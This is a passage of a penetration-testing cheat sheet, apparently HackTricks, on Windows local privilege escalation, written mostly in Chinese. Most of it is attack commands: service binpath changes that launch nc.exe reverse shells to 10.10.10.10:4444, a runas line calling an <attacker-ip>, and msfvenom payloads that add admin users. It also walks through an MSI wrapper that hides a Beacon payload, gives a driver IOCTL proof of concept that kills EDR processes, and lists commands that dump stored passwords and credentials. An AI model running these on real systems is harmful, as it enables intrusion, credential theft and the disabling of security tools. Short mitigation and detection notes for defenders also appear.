Windows Local Privilege Escalation
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
查找 Windows local privilege escalation 向量 的最佳工具: WinPEAS
初步 Windows 理论
访问令牌
如果你不知道 Windows Access Tokens 是什么,请在继续之前阅读以下页面:
ACLs - DACLs/SACLs/ACEs
有关 ACLs - DACLs/SACLs/ACEs 的更多信息,请查看以下页面:
完整性级别
如果你不知道 Windows 中的 integrity levels 是什么,你应该在继续之前阅读以下页面:
Windows Security Controls
Windows 中有多种机制可能会 阻止你枚举系统、运行可执行文件,甚至 检测你的活动。你应该在开始 privilege escalation 枚举之前,阅读以下页面并枚举所有这些防御 机制:
System Info
Version info enumeration
检查 Windows 版本是否存在已知漏洞(同时检查已应用的补丁)。
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
版本漏洞利用
这个 site 非常适合用来查找 Microsoft 安全漏洞的详细信息。该数据库包含超过 4,700 个安全漏洞,显示了 Windows 环境所呈现的 巨大攻击面。
On the system
- post/windows/gather/enum_patches
- post/multi/recon/local_exploit_suggester
- watson
- winpeas (Winpeas 内嵌了 watson)
Locally with system information
Github repos of exploits:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/abatchy17/WindowsExploits
- https://github.com/SecWiki/windows-kernel-exploits
环境
环境变量中是否保存了任何凭证/敏感信息?
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
PowerShell 历史记录
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
PowerShell 转录文件
你可以在 https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/ 学习如何启用此功能
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShell Module Logging
记录 PowerShell 管道执行的详细信息,包括已执行的命令、命令调用和脚本片段。但是,完整的执行细节和输出结果可能不会被捕获。
要启用此功能,请按照文档中 “Transcript files” 部分的说明操作,选择 “Module Logging” 而不是 “Powershell Transcription”。
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
要查看 PowersShell 日志的最后 15 条事件,您可以执行:
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell Script Block Logging
脚本执行的完整活动和内容记录会被捕获,确保每个代码块在运行时都有文档记录。此过程保留了每项活动的全面审计跟踪,对于取证和分析恶意行为非常重要。通过在执行时记录所有活动,可以提供有关该过程的详细洞察。
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Script Block 的日志事件可以在 Windows 事件查看器的以下路径找到: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
要查看最近 20 条事件,你可以使用:
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
互联网设置
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
驱动器
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
WSUS
如果更新不是通过 httpS 请求而是通过 http,请求可能导致系统被攻破。
首先通过在 cmd 中运行以下命令来检查网络是否使用非 SSL 的 WSUS 更新:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
或者在 PowerShell 中执行以下命令:
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
如果你收到如下回复:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
WUServer : http://xxxx-updxx.corp.internal.com:8530
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName : windowsupdate
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
And if HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer or Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" is equals to 1.
那么,它是可利用的。 如果最后一个注册表项等于 0,则 WSUS 条目将被忽略。
为了利用这些漏洞,你可以使用类似的工具: Wsuxploit, pyWSUS - 这些是 MiTM 武器化的 exploit 脚本,用于向 non-SSL WSUS traffic 注入“伪造”更新。
Read the research here:
WSUS CVE-2020-1013
Read the complete report here.
基本上,这就是此漏洞利用的缺陷:
If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.
Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.
你可以使用工具 WSUSpicious 来利用此漏洞(在它被公开之后)。
Third-Party Auto-Updaters and Agent IPC (local privesc)
许多企业代理暴露了一个 localhost IPC 界面和一个有特权的更新通道。如果可以将注册引导到攻击者服务器,并且更新程序信任一个伪造的根 CA 或者对签名验证较弱,本地用户可以交付一个恶意 MSI,由 SYSTEM 服务安装。基于 Netskope stAgentSvc 链(CVE-2025-0309)的通用技术见处:
KrbRelayUp
在特定条件下,Windows domain 环境中存在一个 local privilege escalation 漏洞。这些条件包括未强制 LDAP signing、用户具有配置 Resource-Based Constrained Delegation (RBCD) 的自我权限,以及用户能够在域中创建计算机。需要注意的是,这些要求在默认设置下就是满足的。
Find the exploit in https://github.com/Dec0ne/KrbRelayUp
有关攻击流程的更多信息,请参见 https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/
AlwaysInstallElevated
If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY\SYSTEM.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Metasploit payloads
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
如果你有一个 meterpreter 会话,可以使用模块 exploit/windows/local/always_install_elevated 来自动化这个技术
PowerUP
使用 power-up 的 Write-UserAddMSI 命令在当前目录中创建一个用于提权的 Windows MSI 二进制文件。该脚本输出一个预编译的 MSI 安装程序,提示添加用户/组(所以你将需要 GIU 访问):
Write-UserAddMSI
只需执行已创建的二进制文件即可提升权限。
MSI Wrapper
阅读本教程以学习如何使用这些工具创建 MSI wrapper。请注意,如果你只是想执行命令行,可以将一个 “.bat” 文件打包。
Create MSI with WIX
Create MSI with Visual Studio
- 使用 Cobalt Strike 或 Metasploit 生成一个新的 Windows EXE TCP payload,保存到
C:\privesc\beacon.exe - 打开 Visual Studio,选择 Create a new project,在搜索框中输入 “installer”。选择 Setup Wizard 项目并点击 Next。
- 给项目命名,例如 AlwaysPrivesc,将位置设置为
C:\privesc,选择 place solution and project in the same directory,然后点击 Create。 - 不断点击 Next,直到到达第 3 步(choose files to include)。点击 Add 并选择你刚生成的 Beacon payload。然后点击 Finish。
- 在 Solution Explorer 中选中 AlwaysPrivesc 项目,在 Properties 中将 TargetPlatform 从 x86 更改为 x64。
- 你还可以修改其他属性,例如 Author 和 Manufacturer,使安装后的程序看起来更可信。
- 右键项目并选择 View > Custom Actions。
- 右键 Install 并选择 Add Custom Action。
- 双击 Application Folder,选择你的
beacon.exe文件并点击 OK。这样可以确保安装程序运行时立即执行 beacon payload。 - 在 Custom Action Properties 下,将 Run64Bit 更改为 True。
- 最后,构建 项目。
- 如果显示警告
File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86',请确保已将平台设置为 x64。
MSI Installation
要在后台执行恶意 .msi 文件的安装:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
要利用此漏洞,你可以使用:exploit/windows/local/always_install_elevated
防病毒和检测器
审计设置
这些设置决定了哪些内容会被记录,因此你应该注意。
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwarding,了解日志被发送到何处很重要
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
LAPS
LAPS 旨在 管理本地管理员密码,确保加入域的计算机上的每个密码都是 唯一、随机并定期更新的。这些密码安全地存储在 Active Directory 中,只有通过 ACLs 授予足够权限的用户才能访问,从而在获授权时查看本地管理员密码。
WDigest
如果启用,明文密码会存储在 LSASS (Local Security Authority Subsystem Service)。
More info about WDigest in this page.
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
LSA Protection
从 Windows 8.1 开始,Microsoft 为本地安全机构 (LSA) 引入了增强保护,用以 阻止 不受信任的进程 读取其内存 或注入代码的尝试,从而进一步保护系统。
More info about LSA Protection here.
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
Credentials Guard
Credential Guard 在 Windows 10 中引入。其目的是保护设备上存储的凭据,防止像 pass-the-hash attacks 这样的威胁。| More info about Credentials Guard here.
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
Cached Credentials
Domain credentials 由 Local Security Authority (LSA) 验证并被操作系统组件使用。当用户的登录数据被已注册的安全包验证时,通常会为该用户建立 domain credentials。
More info about Cached Credentials here.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
用户与组
枚举用户与组
你应该检查你所属的组是否具有有趣的权限。
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
特权组
如果你属于某个特权组,你可能能够提升权限。在这里了解特权组以及如何滥用它们以提升权限:
Token 操作
了解更多 关于 什么是 token 的内容请见此页面: Windows Tokens.
查看以下页面以了解有趣的 token以及如何滥用它们:
已登录用户 / 会话
qwinsta
klist sessions
主目录
dir C:\Users
Get-ChildItem C:\Users
密码策略
net accounts
获取剪贴板内容
powershell -command "Get-Clipboard"
正在运行的进程
文件和文件夹权限
首先,在列出进程时,检查进程的命令行中是否包含密码。
检查是否可以覆盖正在运行的某个 binary或你是否对 binary 文件夹有写权限,以利用可能的 DLL Hijacking attacks:
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
始终检查是否存在 electron/cef/chromium debuggers 正在运行,你可以滥用它来提权.
检查进程二进制文件的权限
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
检查进程二进制所在的文件夹的权限 (DLL Hijacking)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)
内存密码挖掘
你可以使用来自 sysinternals 的 procdump 对正在运行的进程创建内存转储。像 FTP 这样的服务在内存中存在 credentials in clear text in memory,尝试转储内存并读取这些 credentials。
procdump.exe -accepteula -ma <proc_name_tasklist>
不安全的 GUI 应用
以 SYSTEM 身份运行的应用可能允许用户启动 CMD 或浏览目录。
示例: “Windows Help and Support” (Windows + F1),搜索 “command prompt”,点击 “Click to open Command Prompt”
服务
Service Triggers 让 Windows 在某些条件发生时启动服务(named pipe/RPC endpoint activity、ETW events、IP availability、device arrival、GPO refresh 等)。即使没有 SERVICE_START 权限,你也常常可以通过触发它们的触发器启动有特权的服务。更多枚举和激活技术请参见:
获取服务列表:
net start
wmic service list brief
sc query
Get-Service
权限
您可以使用 sc 来获取某个服务的信息
sc qc <service_name>
建议使用来自 Sysinternals 的二进制 accesschk 来检查每个服务所需的权限级别。
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
建议检查 “Authenticated Users” 是否可以修改任何服务:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
You can download accesschk.exe for XP for here
启用服务
如果你遇到此错误(例如在 SSDPSRV 上):
System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
你可以使用以下命令启用它
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
请注意 upnphost 服务依赖 SSDPSRV 才能工作(适用于 XP SP1)
该问题的另一个解决方法 是运行:
sc.exe config usosvc start= auto
修改服务二进制路径
在“Authenticated users”组对某个服务拥有 SERVICE_ALL_ACCESS 的情况下,可以修改该服务的可执行二进制文件。要修改并执行 sc:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
重启服务
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
特权可以通过以下各种权限被提升:
- SERVICE_CHANGE_CONFIG: 允许重新配置服务的二进制文件。
- WRITE_DAC: 允许重新配置权限,从而能够更改服务配置。
- WRITE_OWNER: 允许取得所有权并重新配置权限。
- GENERIC_WRITE: 继承更改服务配置的能力。
- GENERIC_ALL: 也继承更改服务配置的能力。
要检测和利用此漏洞,可以使用 exploit/windows/local/service_permissions。
服务二进制文件的弱权限
检查是否可以修改由服务执行的二进制文件 或者 是否对二进制文件所在的文件夹具有写权限 (DLL Hijacking).
您可以使用 wmic(不在 system32 中)获取每个由服务执行的二进制文件,并使用 icacls 检查您的权限:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
你也可以使用 sc 和 icacls:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
Services registry 修改权限
你应该检查是否可以修改任何 service registry.
你可以 check 你在 service registry 上的 permissions,方法如下:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
应检查 Authenticated Users 或 NT AUTHORITY\INTERACTIVE 是否拥有 FullControl 权限。如果是,服务执行的二进制文件可以被修改。
要更改服务执行的二进制文件的 Path:
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
服务注册表 AppendData/AddSubdirectory 权限
如果你在某个注册表上拥有此权限,这意味着你可以从该注册表创建子注册表。在 Windows services 的情况下,这足以执行任意代码:
AppendData/AddSubdirectory permission over service registry
未加引号的服务路径
如果可执行文件的路径没有用引号括起来,Windows 会尝试依次执行路径中每个空格之前的子路径。
例如,对于路径 C:\Program Files\Some Folder\Service.exe,Windows 将尝试执行:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
列出所有未加引号的服务路径,排除属于内置 Windows 服务的那些:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
你可以使用 metasploit 检测并利用 这个漏洞: exploit/windows/local/trusted\_service\_path 你可以手动使用 metasploit 创建服务二进制文件:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
恢复操作
Windows 允许用户指定在服务失败时要采取的操作。此功能可以配置为指向一个 binary。如果该 binary 可被替换,可能会发生 privilege escalation。更多细节可见 官方文档.
应用
已安装的应用
检查 permissions of the binaries(也许你可以覆盖某个 binary 并 escalate privileges)以及 folders(DLL Hijacking)。
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
写入权限
检查是否可以修改某些配置文件以读取某些特殊文件,或者是否可以修改将由 Administrator 账户执行的二进制(schedtasks)。
查找系统中权限薄弱的文件/文件夹的一种方法是执行:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
启动时运行
检查是否可以覆盖某些将由不同用户执行的注册表项或可执行二进制文件。
阅读 下面的页面 以了解更多有关有趣的 autoruns 位置以用于提权:
Privilege Escalation with Autoruns
驱动程序
查找可能的 第三方 可疑/易受攻击 驱动程序
driverquery
driverquery.exe /fo table
driverquery /SI
如果某个驱动暴露了任意内核读/写原语(在设计不良的 IOCTL 处理程序中常见),你可以通过直接从内核内存窃取 SYSTEM 令牌来进行提权。查看此逐步技术:
Arbitrary Kernel Rw Token Theft
对于竞态条件漏洞——当易受攻击的调用会打开攻击者控制的 Object Manager 路径时,通过刻意减慢查找(使用最大长度的组件或深层目录链)可以将窗口从微秒级扩展到数十微秒:
Kernel Race Condition Object Manager Slowdown
注册表 hive 内存破坏原语
现代的 hive 漏洞允许你整理确定性布局、滥用可写的 HKLM/HKU 后代,并在无需自定义驱动的情况下将元数据破坏转化为内核分页池溢出。完整链条见:
Windows Registry Hive Exploitation
Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)
一些签名的第三方驱动通过 IoCreateDeviceSecure 使用强 SDDL 为其 device object 创建安全设置,但忘记在 DeviceCharacteristics 中设置 FILE_DEVICE_SECURE_OPEN。没有这个标志,当通过包含额外组件的路径打开该设备时,安全 DACL 将不被强制执行,这使任何非特权用户都可以通过使用如下命名空间路径获得句柄:
- \ .\DeviceName\anything
- \ .\amsdk\anyfile (from a real-world case)
一旦用户可以打开设备,驱动暴露的特权 IOCTLs 就可以被滥用于 LPE 和篡改。野外观察到的示例能力包括:
- 返回对任意进程的完全访问句柄(token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser)。
- 不受限制的原始磁盘读/写(离线篡改、引导时持久化技巧)。
- 终止任意进程,包括 Protected Process/Light (PP/PPL),允许通过内核从用户态对 AV/EDR 执行 kill。
最小 PoC 模式(用户态):
// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS 0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048
HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
针对开发者的缓解措施
- 在创建打算受 DACL 限制的设备对象时,始终设置 FILE_DEVICE_SECURE_OPEN。
- 对有特权的操作验证调用者上下文。在允许进程终止或返回句柄之前添加 PP/PPL 检查。
- 限制 IOCTLs(访问掩码、METHOD_*、输入验证),并考虑使用代理模型而不是直接授予内核特权。
防御者的检测建议
- 监视用户模式对可疑设备名称的打开(例如 \ .\amsdk*)以及指示滥用的特定 IOCTL 序列。
- 执行 Microsoft 的 vulnerable driver blocklist(HVCI/WDAC/Smart App Control),并维护自己的允许/拒绝列表。
PATH DLL Hijacking
如果你在 PATH 中的某个文件夹拥有 write permissions inside a folder present on PATH,你可能能够劫持进程加载的 DLL 并 escalate privileges。
检查 PATH 中所有文件夹的权限:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
有关如何滥用此检测的更多信息:
Writable Sys Path +Dll Hijacking Privesc
网络
共享
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
hosts 文件
检查 hosts 文件中是否硬编码了其他已知计算机
type C:\Windows\System32\drivers\etc\hosts
网络接口 & DNS
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
开放端口
检查是否从外部可以访问受限服务
netstat -ano #Opened ports?
路由表
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
ARP 表
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
防火墙规则
查看此页面以获取与防火墙相关的命令 (列出规则、创建规则、关闭、关闭…)
更多 网络枚举命令在此
适用于 Linux 的 Windows 子系统 (wsl)
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
二进制 bash.exe 也可以在 C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe 中找到。
如果你获得 root user 后,你可以监听任意端口(第一次使用 nc.exe 监听端口时,GUI 会询问是否允许 nc 通过 firewall)。
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
要轻松以 root 身份启动 bash,可以尝试 --default-user root
你可以在文件夹 C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\ 中浏览 WSL 文件系统
Windows 凭据
Winlogon 凭据
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
凭据管理器 / Windows vault
From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault 为服务器、网站和其他程序存储用户凭据,Windows 可以自动为用户登录。乍看之下,这似乎意味着用户可以存储他们的 Facebook、Twitter、Gmail 等凭据,从而通过浏览器自动登录。但事实并非如此。
Windows Vault 存储的是 Windows 可以用来自动为用户登录的凭据,这意味着任何需要凭据以访问资源的 Windows 应用程序(服务器或网站)都可以利用这个 Credential Manager & Windows Vault,使用存储的凭据,而不需要用户每次都输入用户名和密码。
除非应用程序与 Credential Manager 交互,否则我认为它们无法使用某个资源的凭据。因此,如果你的应用想要使用该 vault,它应该以某种方式与 Credential Manager 通信并请求该资源的凭据,从默认存储 vault 中获取。
使用 cmdkey 列出机器上存储的凭据。
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
然后你可以使用 runas 和 /savecred 选项来使用已保存的凭据。下面的示例通过 SMB 共享调用远程二进制文件。
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
使用提供的一组 credential 运行 runas。
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
注意,mimikatz、lazagne、credentialfileview、VaultPasswordView,或来自 Empire Powershells module。
DPAPI
The Data Protection API (DPAPI) 提供了一种用于数据对称加密的方法,主要在 Windows 操作系统中用于对非对称私钥进行对称加密。该加密利用用户或系统的秘密来显著增加熵。
